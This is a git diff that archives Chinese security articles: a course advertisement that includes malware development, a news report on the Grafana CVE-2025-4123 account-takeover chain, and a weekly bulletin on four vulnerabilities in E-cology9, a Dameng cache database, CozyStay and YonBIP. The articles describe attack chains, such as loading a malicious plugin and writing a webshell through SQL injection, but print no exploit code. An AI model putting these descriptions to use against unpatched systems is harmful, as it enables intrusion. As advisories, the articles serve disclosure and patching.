![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEH4eXCW471pNuHpGPzUKCkbyticiayoQ5gxMtoR1AX0QS7JJ2v1Miaibv1lA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- # + +- +- windows网络安全防火墙与虚拟网卡（更新完成） + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERE5qcRgQueCyt3U01ySnOUp2wOmiaFhcXibibk6kjPoUhTeftn9aOHJjO6mZIIHRCBqIZ1ok5UjibLMRA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- windows文件过滤(更新完成) + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHmvkF91T2mwk3lSlbG5CELC5qbib3qMOgHvow2cvl6ibicVH4KguzibAQOQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- USB过滤(更新完成) + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHv0vyWxLx9Sb68ssCJQwXngPmKDw2HNnvkrcle2picUraHyrTG2sSK7A/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- 游戏安全(更新中) + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHzEAlXtdkXShqbkibJUKumsvo65lnP6lXVR7nr5hq4PmDZdTIoky8mCg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- ios逆向 + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHmjrTM3epTpceRpaWpibzMicNtpMIacEWvJMLpKKkwmA97XsDia4StFr1Q/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- windbg + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERECMA4FBVNaHekaDaROKFEibv9VNhRI73qFehic91I5dsr3Jkh6EkHIRTPGibESZicD7IeA5ocHjexHhw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- 还有很多免费教程(限学员) + +- +- +- +- windows恶意软件开发与对抗视频教程 + +- +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFPap5AiahwlmRC2MGPDXSULNssTzKQk8b4K3pttYKPjVL4xPVu1WHTmddAZialrGo8nQB3dJfJvlZQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHYgfyicoHWcBVxH85UOBNaPMJPjIWnCTP3EjrhOXhJsryIkR34mCwqetPF7aRmbhnxBbiaicS0rwu6w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- +- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHYgfyicoHWcBVxH85UOBNaPZeRlpCaIfwnM0IM4vnVugkAyDFJlhe1Rkalbz0a282U9iaVU12iaEiahw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + diff --git a/doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md b/doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md new file mode 100644 index 00000000..f9136ae2 --- /dev/null +++ b/doc/2025-06/超过46000个Grafana实例暴露于账户接管漏洞.md @@ -0,0 +1,43 @@ +# 超过46000个Grafana实例暴露于账户接管漏洞 +胡金鱼 嘶吼专业版 2025-06-24 06:00 + +![](https://mmbiz.qpic.cn/mmbiz_gif/wpkib3J60o297rwgIksvLibPOwR24tqI8dGRUah80YoBLjTBJgws2n0ibdvfvv3CCm0MIOHTAgKicmOB4UHUJ1hH5g/640?wx_fmt=gif "") + +超过46000个暴露在互联网上的Grafana实例未打补丁，面临客户端开放重定向漏洞的威胁，该漏洞允许执行恶意插件并进行账户接管。 + +该漏洞被追踪为CVE-2025-4123，并影响用于监控和可视化基础设施和应用程序指标的多个版本的开源平台。这个漏洞是由漏洞赏金猎人Alvaro Balada发现的，并在Grafana Labs5月21日发布的安全更新中得到了解决。 + +然而，据应用安全公司OX security的研究人员称，截至撰写本文时，超过三分之一的公共互联网上可访问的Grafana实例尚未打补丁，他们将该漏洞称为“Grafana Ghost”。 + +分析师表示，他们的工作重点是展示将Balada的发现武器化的能力。在确定易受攻击的版本后，他们通过将数据与平台在整个生态系统中的分布相关联来评估风险。 + +他们发现128864个实例在线暴露，其中46506个实例仍在运行可被利用的易受攻击版本。这相当于约36%的百分比。 + +OX Security对CVE-2025-4123的深入分析发现，通过一系列利用步骤，结合客户端路径遍历和开放重定向机制，攻击者可以引诱受害者点击url，从而从威胁行为者控制的网站加载恶意Grafana插件。 + +研究人员说，恶意链接可以用来在用户的浏览器中执行任意JavaScript。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wpkib3J60o2ics9PefZyyiawUTXUNVakJSjYbic6wum1YJqR5It9vWbCssfFoIarUYKUuSc5ibtnibbOJic4tiaJIouzKQ/640?wx_fmt=png&from=appmsg "") + +开发过程 + +该漏洞不需要提升权限，即使启用了匿名访问也可以发挥作用。该漏洞允许攻击者劫持用户会话，更改帐户凭证，并且，在安装了Grafana Image Renderer插件的情况下，执行服务器端请求伪造（SSRF）来读取内部资源。 + +虽然Grafana默认的内容安全策略（CSP）提供了一些保护，但由于客户端执行的限制，它不能防止利用。 + +OX Security的漏洞证明了CVE-2025-4123可以在客户端被利用，并且可以通过原生到Grafana的JavaScript路由逻辑来绕过现代浏览器规范化机制。 + +这使得攻击者可以利用URL处理不一致来提供恶意插件，从而修改用户的电子邮件地址，从而通过重置密码来劫持帐户。 + +尽管CVE-2025-4123有几个攻击要求，比如用户交互，受害者点击链接时的活跃用户会话，以及启用插件功能（默认启用），但大量暴露的实例和缺乏身份验证的需要创造了一个重要的攻击面。 + +为了降低被利用的风险，建议Grafana管理员升级到10.4.18+security-01、11.2.9+security-01、11.3.6+security-01、11.4.4+security-01、11.5.4+security-01、11.6.1+security-01和12.0.0+security-01版本。 + +参考及来源： +https://www.bleepingcomputer.com/news/security/over-46-000-grafana-instances-exposed-to-account-takeover-bug/ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wpkib3J60o2ics9PefZyyiawUTXUNVakJSjxUwhzZ5xNia981sovBvN0ahCeb7N6WpWt8mPmMHJBOmj4GZdE1X1orw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/wpkib3J60o2ics9PefZyyiawUTXUNVakJSjaMmqVUq91bPyFUuGRKjPLE86q47v1wFXc7Sqy4KpGjKUibQW7hdQkkw/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md b/doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md new file mode 100644 index 00000000..6a0d2e70 --- /dev/null +++ b/doc/2025-06/雷神众测漏洞周报2025.6.16-2025.6.22.md @@ -0,0 +1,159 @@ +# 雷神众测漏洞周报2025.6.16-2025.6.22 +雷神众测 雷神众测 2025-06-24 07:59 + +摘要 + + +以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。 + + +雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。 + + +目录 + + +**1.泛微E-cology9存在远程代码执行漏洞** + +**2.武汉达梦数据库股份有限公司达梦新云缓存数据库存在二进制漏洞** + +**3.WordPress CozyStay plugin反序列化漏洞** + +**4.用友网络科技股份有限公司YonBIP代码执行漏洞** + + +漏洞详情 + +**1.泛微E-cology9存在远程代码执行漏洞** + + +漏洞介绍： + +泛微E-cology9是一款企业级协同办公（OA）平台，核心定位是智能化、全程数字化的组织管理‌‌。 + + +漏洞危害： + +该漏洞由于E-cology9某接口参数可控且直接带入拼接SQL语句，导致SQL注入漏洞产生，结合该软件多采用SQLServer类型数据，攻击者可利用该漏洞向数据库中写入数据，并导出Webshell，实现远程代码执行，进而获取服务器权限。 + + +影响范围： + +泛微E-cology9 补丁版本 < v10.75 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源: +安恒信息CERT + +**2.武汉达梦数据库股份有限公司达梦新云缓存数据库存在二进制漏洞** + + +漏洞介绍： + +达梦新云缓存数据库是自主研发的深度兼容原生Redis的Key-Value数据库。 + + +漏洞危害： + +武汉达梦数据库股份有限公司达梦新云缓存数据库存在二进制漏洞，攻击者可利用该漏洞导致拒绝服务。 + + +影响范围： + +武汉达梦数据库股份有限公司 达梦新云缓存数据库 <=V1.0-20241213-c8d8c6a6 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + +**3.WordPress CozyStay plugin反序列化漏洞** + + +漏洞介绍： + +WordPress和WordPress plugin都是WordPress基金会的产品。WordPress plugin是一个应用插件。 + + +漏洞危害： + +WordPress CozyStay plugin存在反序列化漏洞，该漏洞源于反序列化不可信数据，攻击者可利用该漏洞导致代码执行。 + + +漏洞编号： + +CVE-2025-49507 + + +影响范围： + +WordPress CozyStay plugin <1.7.1 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + +**4.用友网络科技股份有限公司YonBIP代码执行漏洞** + + +漏洞介绍： + +用友网络科技股份有限公司YonBIP是用友研发的全新一代的产品，作为全球领先的企业数智化平台与应用软件。 + + +漏洞危害： + +用友网络科技股份有限公司YonBIP存在代码执行漏洞，攻击者可利用该漏洞执行任意代码。 + + +漏洞编号： + +CVE-2023-51906 + + +影响范围： + +用友网络科技股份有限公司 YonBIP v3_23.05 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXlnEf0UEBIZwHDU5UVwkgcicZY8WpiaKqg6G4sa5k1a8Ra7iaSJSvEbrPm8CUsyFH7vXvDroha9Azxg/640?wx_fmt=jpeg&from=appmsg "") + +专注渗透测试技术 + +全球最新网络攻击技术 + + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXlnEf0UEBIZwHDU5UVwkgcSoQ1pWz3eYtVAr6c5x2szvdiarKc8F5EiahCejm4g9KX6XqkODzswj1g/640?wx_fmt=jpeg&from=appmsg "") + + +